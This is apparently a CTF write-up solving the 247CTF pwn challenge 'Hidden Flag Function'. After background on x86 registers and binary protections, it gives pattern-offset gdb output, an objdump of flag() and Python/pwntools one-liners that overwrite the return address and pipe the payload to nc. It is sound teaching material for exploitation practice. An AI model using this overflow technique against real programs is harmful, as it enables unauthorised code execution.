Hidden Flag Function (pwn)

PUBLISHED ON 27/02/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC


This is my write-up of a Pwnable challenge Hidden Flag Function on the CTF site


Can you control this applications flow to gain access to the hidden flag function?

Some theory

Selected x86 registers

registerwhat it’s foroften seen
eaxgeneral purposecarrying function return values
ebxgeneral purposestoring values when eax is already taken
ecxgeneral purposedoing the counting for a for loop
edxgeneral purposejoining with eax to store 64-bit numbers
esigeneral purposeholding an address to copy bytes from
edigeneral purposeholding an address to copy bytes to
espstack pointerholding the address of the stack frame top
ebpframe pointerholding the address of the stack frame bottom
eipinstruction pointerholding the address of the current instruction
flagsflagskeeping results of comparisons


Selected x86 instructions

movmovemov eax, ebxcopy the value in ebx into eax
incincrementinc ecxincrease the value of ecx by 1
decdecrementdec ecxdecrease the value of ecx by 1
cmpcomparecmp eax, ecxcompare eax with ecx and remember which is larger
addaddadd eax, ecxadd the values of eax and ecx then put the result in eax
subsubtractsub eax, ecxsubtract the value of ecx from that of eax, and then put the result in eax
mulmultiplymul ebxmultiply the value of eax by the value of ebx, and then put the 64-bit result in edx (significant 32 bits) and eax (remaining 32 bits)
divdividediv ebxtreat edx as 32 significant bits, eax as 32 remaining bits; divide result by the value of ebx; put quotient in eax and the reminder in edx
andandand eax, edxcompute the bitwise and of eax and ecx; put the result in eax
xorexclusive orxor eax, edxcompute the bitwise exclusive-or of eax and ecx; put the result in eax
leaload effective addresslea edx. [eax+4]move the address of the second operand to the first operand; put eax+4 into edx
jmpjumpjmp 0x401000transfer control flow to the address 0x401000
jgejump if greater or equaljge 0x401000same as jmp, but only if in last comparison, first term was greater or equal
pushpushpush ebxpush the value in ebx on top of the stack
poppoppop ebxpop a value off the top of the stack and put it in ebx
callcallcall 0x401000push address of next instruction to the stack, transfer control to 0x401000
retreturnretpop address off the stack, transfer control there

Brackets are used to refer to values by their memory address. e.g. mov ebx, [eax] means ”interpret the value of eax as a memory address; copy the 4 bytes there into ebx as its new value”.




A good idea when working with binary executable files is to check the parameters of the binary itself. To do that, we can use checksec from the python pwn package, but you can use the original script, GEF implementation or some other.

kali@kali:~$ checksec hidden_flag_function
[*] '/home/kali/hidden_flag_function'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Basically it colors the output for you, green is good, red not so much, but to know what the proprieties mean, we can read the article High level explanation on some binary executable security, as it contains a great write-up about the output, here is an extract for completeness sake.


Relocation Read-Only, meaning that the headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched). The difference between Partial RELRO and Full RELRO is that the Global Offset Table (and Procedure Linkage Table) which act as kind-of process-specific lookup tables for symbols (names that need to point to locations elsewhere in the application or even in loaded shared libraries) are marked read-only too in the Full RELRO. Downside of this is that lazy binding (only resolving those symbols the first time you hit them, making applications start a bit faster) is not possible anymore.

Stack (Canary)

A Canary is a certain value put on the stack (memory where function local variables are also stored) and validated before that function is left again. Leaving a function means that the “previous” address (i.e. the location in the application right before the function was called) is retrieved from this stack and jumped to (well, the part right after that address - we do not want an endless loop do we?). If the canary value is not correct, then the stack might have been overwritten / corrupted (for instance by writing more stuff in the local variable than allowed - called buffer overflow) so the application is immediately stopped.


The abbreviation NX stands for non-execute or non-executable segment. It means that the application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa. Having NX enabled would be good.


Position Independent Executable. A No PIE application tells the loader which virtual address it should use (and keeps its memory layout quite static). Hence, attacks against this application know up-front how the virtual memory for this application is (partially) organized. Combined with in-kernel ASLR (Address Space Layout Randomization, which Gentoo’s hardened-sources of course support) PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult.

Breaking the law

To see if the file is vulnerable to some kind of buffer overflow, the easiest way is to make it break. So we need a long string to enter as input. To help us with that, Metasploit contains nice tool, that creates a sequence of unique values. Why unique you may ask? The reason lies in the fact, that in the next step, we will want to know where exactly the execution breaks and use that info.

kali@kali:~$ msf-pattern_create -l 300

Lets try to run the binary (make sure you are always doing this in an virtual environment, as we can’t really trust the random code we find on the internet):

kali@kali:~$ ./hidden_flag_function
What do you have to say?
Segmentation fault.

Okay, we can see that we managed to overflow the buffer and get the program to break.

Now we want to know where exactly the program breaks, for that task, we will use GNU debugger with GEF extensions.

kali@kali:~$ gdb -q ./hidden_flag_function
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.3.1 using Python engine 3.7
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./hidden_flag_function...
(No debugging symbols found in ./hidden_flag_function)
gef➤  r
Starting program: /home/kali/hidden_flag_function
What do you have to say?

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1
$ebx   : 0x33634132 ("2Ac3"?)
$ecx   : 0x0
$edx   : 0xf7fb701c0x00000000
$esp   : 0xffffd580"6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A[...]"
$ebp   : 0x41346341 ("Ac4A"?)
$esi   : 0xf7fb50000x001d6d6c ("lm"?)
$edi   : 0xf7fb50000x001d6d6c ("lm"?)
$eip   : 0x63413563 ("c5Ac"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd580+0x0000: "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A[...]"$esp
0xffffd584+0x0004: "Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae[...]"
0xffffd588+0x0008: "c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5[...]"
0xffffd58c+0x000c: "0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A[...]"
0xffffd590+0x0010: "Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae[...]"
0xffffd594+0x0014: "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9[...]"
0xffffd598+0x0018: "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
0xffffd59c+0x001c: "Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af[...]"
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x63413563
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hidden_flag_fun", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────

c5Ac is on the 76th place in our payload, we can count that by hand in our generated sequence.

But to avoid errors and speed up the count, we can check the offset of the memory location in which c5Ac occurs:

kali@kali:~$ msf-pattern_offset -q 0x63413563
[*] Exact match at offset 76

As the binary name suggests, there should be a flag() function somewhere in the application, that we need to execute. To find it, we can use objdump:

kali@kali:~$ objdump -drwC -Mintel -d hidden_flag_function

08048576 <flag>:
 8048576:	55                   	push   ebp
 8048577:	89 e5                	mov    ebp,esp
 8048579:	53                   	push   ebx
 804857a:	83 ec 54             	sub    esp,0x54
 804857d:	e8 2e ff ff ff       	call   80484b0 <__x86.get_pc_thunk.bx>
 8048582:	81 c3 7e 1a 00 00    	add    ebx,0x1a7e
 8048588:	83 ec 08             	sub    esp,0x8
 804858b:	8d 83 e0 e6 ff ff    	lea    eax,[ebx-0x1920]
 8048591:	50                   	push   eax
 8048592:	8d 83 e2 e6 ff ff    	lea    eax,[ebx-0x191e]
 8048598:	50                   	push   eax
 8048599:	e8 92 fe ff ff       	call   8048430 <fopen@plt>
 804859e:	83 c4 10             	add    esp,0x10
 80485a1:	89 45 f4             	mov    DWORD PTR [ebp-0xc],eax
 80485a4:	83 ec 04             	sub    esp,0x4
 80485a7:	ff 75 f4             	push   DWORD PTR [ebp-0xc]
 80485aa:	6a 40                	push   0x40
 80485ac:	8d 45 b4             	lea    eax,[ebp-0x4c]
 80485af:	50                   	push   eax
 80485b0:	e8 4b fe ff ff       	call   8048400 <fgets@plt>
 80485b5:	83 c4 10             	add    esp,0x10
 80485b8:	83 ec 08             	sub    esp,0x8
 80485bb:	8d 45 b4             	lea    eax,[ebp-0x4c]
 80485be:	50                   	push   eax
 80485bf:	8d 83 ec e6 ff ff    	lea    eax,[ebx-0x1914]
 80485c5:	50                   	push   eax
 80485c6:	e8 25 fe ff ff       	call   80483f0 <printf@plt>
 80485cb:	83 c4 10             	add    esp,0x10
 80485ce:	90                   	nop
 80485cf:	8b 5d fc             	mov    ebx,DWORD PTR [ebp-0x4]
 80485d2:	c9                   	leave
 80485d3:	c3                   	ret


On hand delivery

We can see that the memory location at which flag() function resides is 08048576.

So we now have all we need! We will build up our exploit from:

76 bytes of arbitrary data+memory location of flag() function

To create our payload we will use Python. We need to use little-endian notation of the memory location, as we found out with checksec, that we have 32-bit architecture with little-endian notation.

kali@kali:~$ python -c "print 'a' * 76 + '\x76\x85\x04\x08'"  | nc 50465
How did you get here?
Have a flag!

Lean, lazy and mean delivery

To make our life easier, we can use pwntools again. So instead of little endian notation of memory location \76\85\04\08, we can use pack function. We will use p32() function to do the heavy lifting for us.

kali@kali:~$ python -c "from pwn import *; print 'a' * 76 + p32("0x08048576")"  | nc 50182What do you have to say?
How did you get here?
Have a flag!

Pro mode pwntools

$ pwn template ./hidden_flag_function --host --port 50278 >
$ chmod +x exploit
./exploit LOCAL

See Also